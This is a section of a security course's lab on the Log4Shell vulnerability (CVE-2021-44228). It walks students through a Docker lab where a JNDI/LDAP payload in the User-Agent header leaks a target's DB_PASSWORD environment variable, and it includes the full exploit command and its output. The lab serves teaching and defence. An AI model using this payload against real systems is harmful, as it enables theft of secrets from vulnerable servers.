Skip to main content

Section 6.9 Lab: Exploiting Log4j

Log4j is a cross-platform logging framework for Java applications, developed by the Apache Software Foundation. It has a history of several versions, one of which introduced a zero-day vulnerability in 2021 known as Log4Shell.
In this lab we will examine the Log4j vulnerability, CVE-2021-44228
 1 
nvd.nist.gov/vuln/detail/CVE-2021-44228
. This vulnerability takes advantage of a flaw in a common logging library used by many Java applications, including Apache, neo4j, Steam, iCloud, and Minecraft. Any attacker that can cause a message to be logged can use the Java Naming and Directory Interface (JNDI) and cause the target to reach out to another server, LDAP in our example, and load a remote Java class file. This file can contain any code that the attacker wishes to inject into the server process.

Question 6.9.1.

Do some research: What versions of Log4j are affected by this vulnerability?
This lab uses a Docker Compose configuration to simulate a network with an attacker and a target. The target runs a known-vulnerable, example application
 2 
github.com/leonjza/log4jpwn
written by leonjza. This example application logs the User-Agent header, request path, and a query string parameter of a request as seen below:
App.java
package com.sensepost.log4jpwn;

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

import static spark.Spark.*;

public class App {
    static final Logger logger = LogManager.getLogger(App.class.getName());

    public static void main(String[] args) {

        port(8080);

        get("/*", (req, res) -> {

            String ua = req.headers("User-Agent");
            String pwn = req.queryParams("pwn");
            String pth = req.pathInfo();

            System.out.println("logging ua: " + ua);
            System.out.println("logging pwn: " + pwn);
            System.out.println("logging pth: " + pth);

            // trigger
            logger.error(ua);
            logger.error(pwn);
            logger.error(pth);

            return "ok: ua: " + ua + " " + "pwn: " + pwn + " pth:" + pth;
        });
    }
}

Question 6.9.2.

What port does our vulnerable app run on?
Our attacker container has the pwn.py script
 3 
github.com/leonjza/log4jpwn/blob/master/pwn.py
, also by leonjza, which does the following things:
  1. Runs a fake LDAP server in the background on port 8888.
  2. Sends a request with the JNDI URI referencing the fake LDAP server asking for a Java value to leak.
  3. Parses and prints the response.
Using this setup we can show how log4j can be used to leak sensitive information from running processes. We will use it to leak the value of the environment variable DB_PASSWORD. As it isn’t uncommon to store secrets in environment variables on running containers, this should suffice to see just how devastating this exploit can be.

Subsection 6.9.1 Exploiting log4j in a Github Codespace

Go github.com/pearcej/security-log4j
 4 
github.com/pearcej/security-log4j
. Then:
  1. Fork this codespace into your own Github repository.
  2. Navigate to your repository on GitHub.
  3. Click the green Code button and select Codespaces.
  4. Click "Create codespace on main".
  5. Wait for the codespace to be created.
Be sure to either stop or delete this codespace when you are done by clicking the "Stop" button or the "Delete" button in the Codespaces tab of your repository.
Next, jump down to follow the lab directions in Subsection 6.9.3.

Subsection 6.9.2 Exploiting log4j in a Local Docker installation

Start by downloading the log4j.zip archive of this lab
 5 
github.com/rxt1077/it230/blob/main/labs/log4j.zip?raw=true
and unzipping it in a directory where you have write permissions and can navigate to in a terminal application. Once you’ve done that, you can continue.

Subsection 6.9.3 Lab Instructions for Exploiting log4j

In either container environment, bring the lab up by typing docker-compose up in that directory. Output should look similar to what you see below:
PS C:\Users\rxt1077\it230\labs\log4j> docker-compose up
[+] Running 2/0
 - Container log4j-target-1    Created                                                            0.0s
 - Container log4j-attacker-1  Created                                                            0.0s
Attaching to log4j-attacker-1, log4j-target-1
log4j-attacker-1 exited with code 0
log4j-target-1    | WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
log4j-target-1    | [Thread-0] INFO org.eclipse.jetty.util.log - Logging initialized @815ms to org.eclipse.jetty.util.log.Slf4jLog
log4j-target-1    | [Thread-0] INFO spark.embeddedserver.jetty.EmbeddedJettyServer - == Spark has ignited ...
log4j-target-1    | [Thread-0] INFO spark.embeddedserver.jetty.EmbeddedJettyServer - >> Listening on 0.0.0.0:8080
log4j-target-1    | [Thread-0] INFO org.eclipse.jetty.server.Server - jetty-9.4.z-SNAPSHOT; built: 2019-04-29T20:42:08.989Z; git: e1bc35120a6617ee3df052294e433f3a25ce7097; jvm 11.0.14+9-post-Debian-1deb11u1
log4j-target-1    | [Thread-0] INFO org.eclipse.jetty.server.session - DefaultSessionIdManager workerName=node0
log4j-target-1    | [Thread-0] INFO org.eclipse.jetty.server.session - No SessionScavenger set, using defaults
log4j-target-1    | [Thread-0] INFO org.eclipse.jetty.server.session - node0 Scavenging every 600000ms
log4j-target-1    | [Thread-0] INFO org.eclipse.jetty.server.AbstractConnector - Started ServerConnector@401fccd3{HTTP/1.1,[http/1.1]}{0.0.0.0:8080}
log4j-target-1    | [Thread-0] INFO org.eclipse.jetty.server.Server - Started @960ms
You’ll notice that the target service is up and running the log4jpwn example application and that its output goes straight to the screen. The attacker service will exit immediately as it is meant for interactive use and doesn’t run anything in the background. In another terminal, navigate to the lab directory again and run docker-compose run attacker bash. This will be the shell that you use to attack the target:
PS C:\Users\rxt1077\it230\labs\log4j> docker-compose run attacker bash
root@3971c61303c8:/(1)

Note 6.9.3.

(1) Notice how the prompt changes once we are in the container.
In the attack shell, use the ip command to determine the IPv4 address of your container by typing ip addr show dev eth0. We will need this since the attacker container will be listening for connections from target once the exploit string is logged.
You should see output similar to the following:
root@3971c61303c8:/# ip addr show dev eth0
58: eth0@if59: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet <IP_ADDRESS>/16 brd 172.20.255.255 scope global eth0 (2)
       valid_lft forever preferred_lft forever

Note 6.9.4.

(2) Your IP is not <IP_ADDRESS> it is whatever you find in its place!
Once you have the IP address, you can run the pwn.py script on the attacker container and you should be able to read the DB_PASSWORD environment variable on the target container. by typing: python /pwn.py --listen-host <IP_ADDRESS> --exploit-host <IP_ADDRESS> --target http://target:8080 --leak '${env:DB_PASSWORD}'
You should see something like the following:
root@3971c61303c8:/# python /pwn.py --listen-host <IP_ADDRESS> --exploit-host <IP_ADDRESS> --target http://target:8080 --leak '${env:DB_PASSWORD}' (3)
 i| starting server on <IP_ADDRESS>:8888
 i| server started
 i| setting payload in User-Agent header
 i| sending exploit payload ${jndi:ldap://<IP_ADDRESS>:8888/${env:DB_PASSWORD}} to http://target:8080/
 i| new connection from <TARGETS_IP>:44050
 v| extracted value: <DB_PASSWORD> (4)
 i| request url was: http://target:8080/
 i| response status code: 200

Note 6.9.5.

(3) Docker Compose will resolve service names to IP addresses so the target URI doesn’t require finding an IP.

Note 6.9.6.

(4) The value of DB_PASSWORD will be here.

Question 6.9.7.

What is the database password?

Question 6.9.8.

What steps would you take to mitigate the risk of a deployed application having this vulnerability?

Note 6.9.9.

If you chose to use a Github codespace, don’t forget to stop or delete the codespace by clicking the "Stop" button or the "Delete" button in the Codespaces tab of your repository.
You have attempted 1 of 1 activities on this page.